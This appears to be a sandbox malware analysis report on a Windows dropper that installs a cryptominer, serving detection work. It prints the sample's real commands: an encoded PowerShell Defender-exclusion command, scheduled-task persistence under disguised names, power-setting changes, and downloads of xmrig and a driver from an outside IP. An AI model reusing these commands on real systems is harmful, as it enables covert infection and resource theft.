conhost.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6403_us | Nov. 20, 2023, 9:44 a.m. | Nov. 20, 2023, 9:57 a.m. |
-
-
-
mode.com mode 65,10
2144 -
7z.exe 7z.exe e file.zip -p199921163012031144012778512725 -oextracted
2212 -
7z.exe 7z.exe e extracted/file_5.zip -oextracted
2276 -
7z.exe 7z.exe e extracted/file_4.zip -oextracted
2324 -
7z.exe 7z.exe e extracted/file_3.zip -oextracted
2372 -
7z.exe 7z.exe e extracted/file_2.zip -oextracted
2420 -
7z.exe 7z.exe e extracted/file_1.zip -oextracted
2468 -
attrib.exe attrib +H "Installer.exe"
2516 -
-
cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAG0AeABBAEIANQBVAG4ASAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoASgBLADUANwBMAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMASgAyAFMAdgBxAE4ARQBkAGEAWQBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFkASAAzACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
2792-
powershell.exe powershell -EncodedCommand "PAAjAG0AeABBAEIANQBVAG4ASAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoASgBLADUANwBMAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMASgAyAFMAdgBxAE4ARQBkAGEAWQBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFkASAAzACMAPgA="
2848 -
powercfg.exe powercfg /x -hibernate-timeout-ac 0
2928 -
powercfg.exe powercfg /x -hibernate-timeout-dc 0
2976 -
powercfg.exe powercfg /x -standby-timeout-ac 0
3028 -
powercfg.exe powercfg /x -standby-timeout-dc 0
632 -
powercfg.exe powercfg /hibernate off
2160
-
-
cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2344-
schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2500
-
-
cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3665" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2388
-
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| pastebin.com | 104.20.67.143 |
Suricata Alerts
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLS 1.2 192.168.56.103:49185 104.20.67.143:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3 | C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com | 55:c8:82:61:30:05:42:80:db:47:5e:d0:66:b5:df:ac:14:5b:19:6f |
| packer | Armadillo v1.71 |
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://45.15.156.116/xmrig.exe | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://45.15.156.116/WinRing0x64.sys | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://45.15.156.116/WatchDog.exe | ||||||
| suspicious_features | GET method with no useragent header | suspicious_request | GET https://pastebin.com/raw/ZRRRiwsq | ||||||
| request | GET http://45.15.156.116/xmrig.exe |
| request | GET http://45.15.156.116/WinRing0x64.sys |
| request | GET http://45.15.156.116/WatchDog.exe |
| request | GET https://pastebin.com/raw/ZRRRiwsq |
| file | C:\ProgramData\Dllhost\winlogson.exe |
| file | C:\Users\test22\AppData\Local\Temp\main\extracted\Installer.exe |
| file | C:\ProgramData\Dllhost\dllhost.exe |
| file | C:\Users\test22\AppData\Local\Temp\main\KillDuplicate.cmd |
| file | C:\Users\test22\AppData\Local\Temp\main\7z.dll |
| file | C:\Users\test22\AppData\Local\Temp\main\main.bat |
| file | C:\Users\test22\AppData\Local\Temp\main\7z.exe |
| file | C:\Users\test22\AppData\Local\Temp\main\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | powershell -EncodedCommand "PAAjAG0AeABBAEIANQBVAG4ASAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoASgBLADUANwBMAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMASgAyAFMAdgBxAE4ARQBkAGEAWQBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFkASAAzACMAPgA=" |
| cmdline | "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3665" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| cmdline | "cmd.exe" /C powershell -EncodedCommand "PAAjAG0AeABBAEIANQBVAG4ASAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoASgBLADUANwBMAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMASgAyAFMAdgBxAE4ARQBkAGEAWQBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFkASAAzACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off |
| cmdline | SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| cmdline | "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| file | C:\Users\test22\AppData\Local\Temp\main\7z.exe |
| file | C:\Users\test22\AppData\Local\Temp\main\Installer.exe |
| file | C:\Users\test22\AppData\Local\Temp\main\Installer.exe |
| description | WWW Cryptocurrency Miner Zero | rule | WWW_Cryptocurrency_Miner_Zero | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | task schedule | rule | schtasks_Zero | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | Following Rule is referenced from AlienVault's Yara rule repository.This rule contains additional processes and driver names. | rule | vmdetect_misc | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| cmdline | "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3665" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| cmdline | attrib +H "Installer.exe" |
| cmdline | main.bat /S |
| cmdline | SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| cmdline | "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| host | 45.15.156.116 | |||
| description | Installer.exe tried to sleep 2728196 seconds, actually delayed analysis time by 2728196 seconds | |||
| cmdline | "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3665" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| cmdline | SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| cmdline | "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" |
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob |
| Bkav | W32.AIDetectMalware |
| Lionic | Trojan.Win32.Stealer.tsi1 |
| MicroWorld-eScan | Trojan.Generic.34317653 |
| Skyhigh | Artemis!Trojan |
| McAfee | Artemis!0C6483215226 |
| Malwarebytes | Trojan.Dropper |
| Sangfor | Dropper.Win32.Packed.Vmvj |
| K7AntiVirus | Trojan ( 005add051 ) |
| Alibaba | Packed:Win32/CoinMiner.3db87612 |
| K7GW | Trojan ( 005add051 ) |
| Symantec | Trojan.Gen.MBT |
| Elastic | malicious (high confidence) |
| ESET-NOD32 | Win32/Packed.7Zip.AI |
| ClamAV | Win.Keylogger.Gencbl-9969771-0 |
| Kaspersky | Trojan-Dropper.Win32.Agent.tfjyoz |
| BitDefender | Trojan.Generic.34317653 |
| Avast | Win32:Malware-gen |
| Tencent | Win32.Trojan-Dropper.Agent.Oqil |
| Emsisoft | Trojan.Generic.34317653 (B) |
| F-Secure | Trojan.TR/AD.CoinMiner.qhfny |
| DrWeb | Trojan.BtcMine.3634 |
| TrendMicro | TrojanSpy.Win32.LUMMASTEALER.YXDKPZ |
| Trapmine | suspicious.low.ml.score |
| FireEye | Trojan.Generic.34317653 |
| Sophos | Mal/Generic-S |
| Ikarus | Trojan.Win32.7zip |
| Webroot | W32.Malware.Gen |
| Avira | TR/AD.CoinMiner.qhfny |
| Varist | W32/Dropper.EM.gen!Eldorado |
| Antiy-AVL | Trojan[Packed]/Win32.7Zip |
| Kingsoft | Win32.Troj.Undef.a |
| Microsoft | Trojan:Win32/Znyonm |
| Gridinsoft | Ransom.Win32.Wacatac.sa |
| Arcabit | Trojan.Generic.D20BA555 |
| ZoneAlarm | Trojan-Dropper.Win32.Agent.tfjyoz |
| GData | Win32.Trojan.Agent.Y0PA0U |
| Cynet | Malicious (score: 100) |
| ALYac | Trojan.Generic.34317653 |
| MAX | malware (ai score=80) |
| Cylance | unsafe |
| Panda | Trj/Chgt.AD |
| TrendMicro-HouseCall | TrojanSpy.Win32.LUMMASTEALER.YXDKPZ |
| Fortinet | W32/PossibleThreat |
| AVG | Win32:Malware-gen |
| DeepInstinct | MALICIOUS |
| CrowdStrike | win/grayware_confidence_60% (D) |